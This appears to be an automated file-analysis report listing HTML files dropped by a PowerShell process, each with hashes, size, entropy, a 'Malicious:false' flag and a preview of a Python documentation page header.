                    SHA-512:8C67CBC7E99B28D5843D06EED3CA51930E1F5C2587285294739257F4F674E7D69B406B5B80988F4EC0066A9C1122D0DC79483F4407DFD43F3626FCE00B8DA89D
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Descriptor Guide" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/descriptor.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Author, Raymond Hettinger,, Contact,<python at rcn dot com>,. Contents: Descriptor Guide- Primer- Simple example: A descriptor that returns a constant, Dynamic lookups, Managed attributes, Customiz..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Author, Raymond Hettinger,, Contact,<python at rcn dot com>,. C
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (657), with CRLF line terminators
                    Category:dropped
                    Size (bytes):188769
                    Entropy (8bit):4.839483370960123
                    Encrypted:false
                    SSDEEP:
                    MD5:A7DE71E2A40C7F5D98A075DD7B4CAD54
                    SHA1:9E10D1ADB3EDF185AD097DDFE489063175E3198D
                    SHA-256:749633B6B13175EDC86793D1A4BE4A09FFC4F950D44E2A1C2188C76BF0C08182
                    SHA-512:09B525F2A7CFC3544D8875C970EB5C51EDB35D6FEA4B63A5CB79111FFBF328B183BD0BC11ED3D4686F492CE9DC54EA14B80FDB35F86CF2398AAD291F5A8576B8
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Enum HOWTO" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/enum.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="An Enum is a set of symbolic names bound to unique values. They are similar to global variables, but they offer a more useful repr(), grouping, type-safety, and a few other features. They are most ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="An Enum is a set of symbolic names bound to unique values. They are similar
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (866), with CRLF line terminators
                    Category:dropped
                    Size (bytes):168321
                    Entropy (8bit):4.7744869560811365
                    Encrypted:false
                    SSDEEP:
                    MD5:9097D2CDD5B8ABF21831F29726FB7065
                    SHA1:6B9EE82EF7C426642F511DAB79723B79A1626793
                    SHA-256:3D2336AFE8D6F89F64DBD2EA29503B7E9F88320352084F13068D21537A1A121F
                    SHA-512:9C6AAA561BD12994EA37046BB65D6274F012EEDAC2BA593D1CB3FD08525D1B86F40888E2F5EA55A33418BB77C275EC33116A528D7F038DEA072A1999DCDB9449
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Functional Programming HOWTO" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/functional.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Author, A. M. Kuchling,, Release, 0.32,. In this document, we.ll take a tour of Python.s features suitable for implementing programs in a functional style. After an introduction to the concepts of ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Author, A. M. Kuchling,, Release, 0.32,. In thi
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1180), with CRLF line terminators
                    Category:dropped
                    Size (bytes):50189
                    Entropy (8bit):5.186184683821385
                    Encrypted:false
                    SSDEEP:
                    MD5:7325368A42F829C74B017BF59C346DC3
                    SHA1:470FCF3AFD7C8B5759660B90C5739398659C0716
                    SHA-256:FD9035AEAEC42D7ABD44558A8B92C3BD0B629D861D16C1F30ED380190B33A602
                    SHA-512:925B4491A5029BDA286A5E229B0F93DA93741739E44351295A34FC0A5DD67573156F705416029E4301DC5F66B15A21AAD8AF964B75369C3F6121D70BB2D125CB
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Debugging C API extensions and CPython Internals with GDB" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/gdb_helpers.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This document explains how the Python GDB extension, python-gdb.py, can be used with the GDB debugger to debug CPython extensions and the CPython interpreter itself. When debugging low-level proble..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This document explain
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):15307
                    Entropy (8bit):4.860974388621738
                    Encrypted:false
                    SSDEEP:
                    MD5:B9F8B698ED005211EB609F482BC2219B
                    SHA1:49872382D72BDF490133DFE86BA3DB5C4C50739F
                    SHA-256:8179A879C08389F47A8FA799FB144230997FAE4826705E2A370540D5E6D30742
                    SHA-512:A1179E29B5693377896A9F0750ABCDE215B91214FA079B1C90F6BC4902A5A2CCFE827F1A53F0E577DDAEF52E897E03FDB6266243E84509F55D5E2A6F2B804FE6
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Python HOWTOs" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/index.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Python HOWTOs are documents that cover a single, specific topic, and attempt to cover it fairly completely. Modelled on the Linux Documentation Project.s HOWTO collection, this collection is an eff..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Python HOWTOs are documents that cover a single, specific topic, and
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (419), with CRLF line terminators
                    Category:dropped
                    Size (bytes):41277
                    Entropy (8bit):5.0365565615919
                    Encrypted:false
                    SSDEEP:
                    MD5:A72217C16E879779860E7EBCEF74A53D
                    SHA1:FA7E185B37BB740DF3166012478BF3B8BDBCE53C
                    SHA-256:0F195A0220167939344A457349D159EFA8DCEBABC451270D26BEA5E765534BD4
                    SHA-512:9F2135127957E0B67521A879F7D3CD6D6E03D291505EDAB6E346E62231FA3FAFFC81D4BFCA59AD6D3A57F4BAEDC3823E30D28F3418EE15468C7AB6194319C7C5
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Instrumenting CPython with DTrace and SystemTap" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/instrumentation.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="author, David Malcolm,, author, .ukasz Langa,. DTrace and SystemTap are monitoring tools, each providing a way to inspect what the processes on a computer system are doing. They both use domain-spe..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="author, David Malcolm,, au
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (510), with CRLF line terminators
                    Category:dropped
                    Size (bytes):46693
                    Entropy (8bit):4.9826262432228585
                    Encrypted:false
                    SSDEEP:
                    MD5:840A0A3050E69F71BA65D2286F6DD661
                    SHA1:64BB476FFC72ED5D522F3FDE2F89CACDFF7D4731
                    SHA-256:C40908CF6523052F1FEDAA63FBAB74454C8C343AB000FADAC6AA1CC3A0BD8AAB
                    SHA-512:DC58C9BCA90F3652D89C94E5EE08BEEFB841E35B8E8CD14271D9AB3F7B80A63A0315C902CACF3758FFD0EDAD8625DF9A624012F5526743ED2B4944358676150C
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="An introduction to the ipaddress module" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/ipaddress.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="author, Peter Moody,, author, Nick Coghlan,. Overview: This document aims to provide a gentle introduction to the ipaddress module. It is aimed primarily at users that aren.t already familiar with ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="author, Peter Moody,, author, Nick Cogh
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (653), with CRLF line terminators
                    Category:dropped
                    Size (bytes):77211
                    Entropy (8bit):4.910184684889503
                    Encrypted:false
                    SSDEEP:
                    MD5:75A7D6D9A7FD27B56B4F490465544AAE
                    SHA1:750464FD8F2E4DEC3A5551D96D3F53806413F940
                    SHA-256:9563C325280195BE7AA03BFEF516336C9662982392F7146795E19208AB69B893
                    SHA-512:6A62D354A01EE335B4EF9029986A58E17684064B7AF2A5B17C69F5FEC0639ADAF39312315FFA1157DD536C5DDA690C74297D89C48331B1CDF89772C8717ACEA5
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Isolating Extension Modules" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/isolating-extensions.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Abstract: Traditionally, state belonging to Python extension modules was kept in C static variables, which have process-wide scope. This document describes problems of such per-process state and sh..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Abstract: Traditionally, state belonging t
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (578), with CRLF line terminators
                    Category:dropped
                    Size (bytes):515704
                    Entropy (8bit):4.716466678256119
                    Encrypted:false
                    SSDEEP:
                    MD5:11969E72119AA031245EDBC6BA092952
                    SHA1:831DF80CAEDCE2ED21FCD583B5F4E7DEC69BDAAE
                    SHA-256:5BA8713A352240988B0663F598F29C369497FD12777339F438AFF044AE10C39A
                    SHA-512:71CA527097C077292CD50576875ED158FA38D2B688FFCEEC351345F73681DE5C58A07650953E899BB983BE0E77EF961FC053932C1200744FC5061C06DD57D894
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Logging Cookbook" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/logging-cookbook.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Author, Vinay Sajip <vinay_sajip at red-dove dot com>,. This page contains a number of recipes related to logging, which have been found useful in the past. For links to tutorial and reference info..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Author, Vinay Sajip <vinay_sajip at red-dove dot com>,. T
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (915), with CRLF line terminators
                    Category:dropped
                    Size (bytes):126810
                    Entropy (8bit):4.874551014366687
                    Encrypted:false
                    SSDEEP:
                    MD5:5511244EB7C502A14EFE31B607E9B326
                    SHA1:1D9F704E061CD24430C955319CC85391DB8C631F
                    SHA-256:B40108D26C969D2EAEB7D8D8818289A645018D85E4894551F5615D962FF76A28
                    SHA-512:547790D92724A7B42863139D7B68F8D5F9C74D90DC5EFB80A33B315CF789B59A05575ECCE0360A250E0CC3459C95EBFE387B66718B664E57B7454B05882D9B5A
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Logging HOWTO" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/logging.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Author, Vinay Sajip <vinay_sajip at red-dove dot com>,. This page contains tutorial information. For links to reference information and a logging cookbook, please see Other resources. Basic Logging..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Author, Vinay Sajip <vinay_sajip at red-dove dot com>,. This page con
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (378), with CRLF line terminators
                    Category:dropped
                    Size (bytes):33215
                    Entropy (8bit):4.697470289857386
                    Encrypted:false
                    SSDEEP:
                    MD5:72B441E44112A520B6EFAB55462B8692
                    SHA1:B8A683DD3660A3166AF29D99A67C64429B82FD41
                    SHA-256:62BD0017A0867CD06E7BAF09FD654BA3C33A0A847F961A4D11B8522BF7840F6C
                    SHA-512:578DAC53253E0CF5B300EF84D43EE1078745FCD17D35378CE507078DD4D031ACDF5D5A152F0FDECCC302AA3501BD832E30ED61D628590633752DEBF65B4A9EB7
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Python support for the Linux perf profiler" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/perf_profiling.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="author, Pablo Galindo,. The Linux perf profiler is a very powerful tool that allows you to profile and obtain information about the performance of your application. perf also has a very vibrant eco..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="author, Pablo Galindo,. The Linux
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):13960
                    Entropy (8bit):4.885479366541297
                    Encrypted:false
                    SSDEEP:
                    MD5:211E4453A66807C65017E01137FED19C
                    SHA1:85FFB39A79D01035A86AE42A4BC068FB6F5FC5D4
                    SHA-256:54B3FBD42055CD22DFDA295E63C5459C89A5651F7884F1087FD74772DA4D083E
                    SHA-512:D94BBA159CCFF2EC93616586D9AE0B0CF29F1DBAE489CF726EE7E0F9C498A737E571E329647FF3255A3EE04D8F0DFD33237326A43DCE69F510561B8DD353A487
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="How to port Python 2 Code to Python 3" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/pyporting.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="author, Brett Cannon,. Python 2 reached its official end-of-life at the start of 2020. This means that no new bug reports, fixes, or changes will be made to Python 2 - it.s no longer supported: see..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="author, Brett Cannon,. Python 2 reached i
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (591), with CRLF line terminators
                    Category:dropped
                    Size (bytes):167100
                    Entropy (8bit):4.889565886703999
                    Encrypted:false
                    SSDEEP:
                    MD5:E10E042F8F0F7FD1E9538887785A323B
                    SHA1:70DF05546A4E37C1C1CB99885E84F83C99567304
                    SHA-256:C85B894034413240F7BF2F83D73F2EDAF67190FA82B76E2C5EB21755C31D48A4
                    SHA-512:1AD121D2AB80EC0FDA343E6854A8390661893029755B29FF3808F0A25D7431E3CBD2B21CF9D9829AE01B20E786E97C50F773D36361DB4C67EAECA18EA7B8D16A
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Regular Expression HOWTO" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/regex.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Author, A.M. Kuchling < amk@amk.ca>,. Abstract: This document is an introductory tutorial to using regular expressions in Python with the re module. It provides a gentler introduction than the corr..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Author, A.M. Kuchling < amk@amk.ca>,. Abstract: This documen
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (437), with CRLF line terminators
                    Category:dropped
                    Size (bytes):48459
                    Entropy (8bit):4.86481454148729
                    Encrypted:false
                    SSDEEP:
                    MD5:5B086594782FBBD2AE849C279B7DBFE4
                    SHA1:70755332FE266890F441A1F144DBCA3E83221EE4
                    SHA-256:B61CAC83408583C3AAA9702519D9364856133ACF1DBD8ED64B875680286F9F6C
                    SHA-512:5C0642D400ED086E87A1AD9BE8B34750739813A5E0AE76D166F1244A5EF5D935A4D1C65360343EB99CA5004BF44C8E3FE090F9B1723D859655E591E81E1DC64A
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Socket Programming HOWTO" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/sockets.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Author, Gordon McMillan,. Abstract: Sockets are used nearly everywhere, but are one of the most severely misunderstood technologies around. This is a 10,000 foot overview of sockets. It.s not reall..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Author, Gordon McMillan,. Abstract: Sockets are used nea
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (724), with CRLF line terminators
                    Category:dropped
                    Size (bytes):55338
                    Entropy (8bit):4.928274954266523
                    Encrypted:false
                    SSDEEP:
                    MD5:409DF8E310A477B8FCD02232632F32B3
                    SHA1:EE734A8F63F68EA535BC7573840EF46D934D35AF
                    SHA-256:AE7A7839DE6C53E640BB8A2D71F89A621AEAFC4F9CF1FBD788F8EB26F75C96EF
                    SHA-512:025C25AAA43A2F3B25BCC2B0EF0633EF467F0AAB7346C56BF489320A0CB8E6F55BE607941D5A90C1A8F75BAD2FA4A916DD5320E3726436EF2054BE38AB39E9C5
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Sorting Techniques" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/sorting.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Author, Andrew Dalke and Raymond Hettinger,. Python lists have a built-in list.sort() method that modifies the list in-place. There is also a sorted() built-in function that builds a new sorted lis..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Author, Andrew Dalke and Raymond Hettinger,. Python lists have a
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (671), with CRLF line terminators
                    Category:dropped
                    Size (bytes):85554
                    Entropy (8bit):4.981817959278301
                    Encrypted:false
                    SSDEEP:
                    MD5:4D206DF51E017A6AC1CBC7F246643BAF
                    SHA1:0F7AB2581FAE52E1C67F01FF79C496D7CB83EC10
                    SHA-256:E9EF26F6FC23DB468DD7937CF81CB491E019320AE4F37058DEAC42B890B90B83
                    SHA-512:B8B6F74F484A11222EBCE38D6AD0016E2814631E129CD4F45DF42245533C96FBB03B3C8D32B04F4E54D9701E2330EDD3975B478CC71AA2E8FD6F0DD27B29685D
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Unicode HOWTO" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/unicode.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Release, 1.12,. This HOWTO discusses Python.s support for the Unicode specification for representing textual data, and explains various problems that people commonly encounter when trying to work w..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Release, 1.12,. This HOWTO discusses Python.s support for the Uni
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (507), with CRLF line terminators
                    Category:dropped
                    Size (bytes):81478
                    Entropy (8bit):4.91704075521982
                    Encrypted:false
                    SSDEEP:
                    MD5:3AD148B7118452F3218482C04D7DDBAB
                    SHA1:3D5413AC5A01210D86465645EC066F038AC84ADF
                    SHA-256:4BF4C23F36219FC3FC8ADC0A6D601DCF827B0ED1E3466942EE387A1DE4C2F55B
                    SHA-512:D840BC324AA53A4D4ADB34ECD3744284C2F4DFD5AAD171FA68E65AD4D348E2BBB2886347F8085B8464AA288888FFEA4F12305A092BCA046354B0D8194E40E44A
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="HOWTO Fetch Internet Resources Using The urllib Package" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/howto/urllib2.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Author, Michael Foord,. Introduction: Related Articles: You may also find useful the following article on fetching web resources with Python: Basic Authentication A tutorial on Basic Authentication..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Author, Michael Foord,. Int
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):14602
                    Entropy (8bit):4.877389462072412
                    Encrypted:false
                    SSDEEP:
                    MD5:8FB5475746CE407B1AE1586B38000EC5
                    SHA1:4CE4DCE977A0D6E8D231E34DAA5550528BE63EF1
                    SHA-256:2461FFE098A87A40B416F0318F99B75821D4FEB70757DB867089E9884598F08A
                    SHA-512:99155191C9ED7C783F040A0D4FA9EEDAFFC75545704120AC5DC5B8198559BF64763774888DD6D1242138B5082B9F8CE00C7D3F4388826CDDD6CEBA8F4AD5FE52
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="./">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>3.12.3 Documentation</title><meta name="viewport" content="width=device-width, initial-scale=1.0">.. .. <link rel="stylesheet" type="text/css" href="_static/pygments.css?v=80d5e7a1" />.. <link rel="stylesheet" type="text/css" href="_static/pydoctheme.css?v=bb723527" />.. <link id="pygments_dark_css" media="(prefers-color-scheme: dark)" rel="stylesheet" type="text/css" href="_static/pygments_dark.css?v=b20cc3f5" />.. .. <script src="_static/documentation_options.js?v=2c828074"></script>.. <script src="_static/doctools.js?v=888ff710"></script>.. <script src="_static/sphinx_highlight.js?v=dc90522c"></script>.. .. <script src="_static/sidebar.js"></script>.. .. <link rel="search" type="application/opensearchdescription+xml".. title="Search within Python 3.12.3 docum
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):30920
                    Entropy (8bit):4.883610546909156
                    Encrypted:false
                    SSDEEP:
                    MD5:ACBA8909BC095F661893153C5A6F6EE4
                    SHA1:A1EA43BABCA61FBDADDCFA0E94579D9E7AAAAC40
                    SHA-256:43AF16E35FE6DD70DBE698CEBBFA5C9469FB10AF2A44D4BE7E10CFD446DF83C7
                    SHA-512:53212D93A757C342F8BDF1E2A61EF450DF81081B15DC2B92CFAF13D4A09405C24D40D52CB88B2023AD13F31815D7D2BD0F337B9AC36235FBEF921ECCA42425D1
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Installing Python Modules" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/installing/index.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Email, distutils-sig@python.org,. As a popular open source development project, Python has an active supporting community of contributors and users that also make their software available for other..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Email, distutils-sig@python.org,. As a popular open so
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (570), with CRLF line terminators
                    Category:dropped
                    Size (bytes):75336
                    Entropy (8bit):4.824106092412005
                    Encrypted:false
                    SSDEEP:
                    MD5:7705FD68852A1ABBBB9240ACA21EDCA1
                    SHA1:4949F02A49C69F0B27F51CB856E0F00AD2C0A82A
                    SHA-256:A93FB16411152DC29F800A6DCFAF4FC9D120CE697CAE3100B804BDB7510EE07F
                    SHA-512:332757492F5CEA2A80BC8406DF6E94680E6272DDC676C82231167EDD83AE4C844B2F04F78E193CB4C6797CC8B552ABA3695C4376A68FB472A2AC6A4D4EC8841C
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="2to3 . Automated Python 2 to 3 code translation" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/2to3.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="2to3 is a Python program that reads Python 2.x source code and applies a series of fixers to transform it into valid Python 3.x code. The standard library contains a rich set of fixers that will ha..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="2to3 is a Python program that read
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (385), with CRLF line terminators
                    Category:dropped
                    Size (bytes):27759
                    Entropy (8bit):4.953949555124726
                    Encrypted:false
                    SSDEEP:
                    MD5:AA362F4641D241350160749EA5E2EB20
                    SHA1:4F250ABAC91C9BE735A15156433E0C63C56E455F
                    SHA-256:8D3DC49D19241A197B5441F2F43FAB7C91704C18D42B7C3FF41362B5A07098D8
